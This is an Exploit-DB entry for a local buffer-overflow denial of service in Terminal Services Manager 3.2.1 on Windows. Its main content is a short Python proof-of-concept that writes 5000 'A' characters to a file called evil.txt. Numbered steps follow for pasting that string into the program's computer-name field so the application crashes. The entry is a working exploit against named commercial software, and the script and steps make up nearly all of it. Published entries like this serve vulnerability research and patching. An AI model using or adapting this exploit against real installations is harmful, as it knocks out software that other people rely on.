Terminal Services Manager 3.2.1 - Denial of Service

EDB-ID:
46911

CVE:
N/A

EDB Verified: ×

Author:
ALEJANDRA SÁNCHEZ

Type:
DOS

Exploit: / {}

Platform:
WINDOWS

Date:
2019-05-23

Vulnerable App:

```
# -*- coding: utf-8 -*-
# Exploit Title: Terminal Services Manager 3.2.1 - Local Buffer Overflow
Denial of Service
# Date: 22/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://lizardsystems.com
# Software: https://lizardsystems.com/files/releases/terminal-services-
manager/tsmanager_setup_3.2.1.247.exe
# Version: 3.2.1 (Build 247)
# Tested on: Windows 10

# Steps to produce the crash:
# 1.- Run the python script 'tsmanager.py', it will create a new file
'evil.txt'
# 2.- Open Terminal Services Manager
# 3.- Click 'Add computer'
# 4.- Now paste the content of evil.txt into the field: 'Computer name or
IP address' and click 'OK'
# 5.- In the 'List' tab select the computer created.
# 6.- Now in the 'Servers' tab double click on the created computer, wait
and you will see a crash!

buffer = "\x41" * 5000

f = open ("evil.txt", "w")
f.write(buffer)
f.close()
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions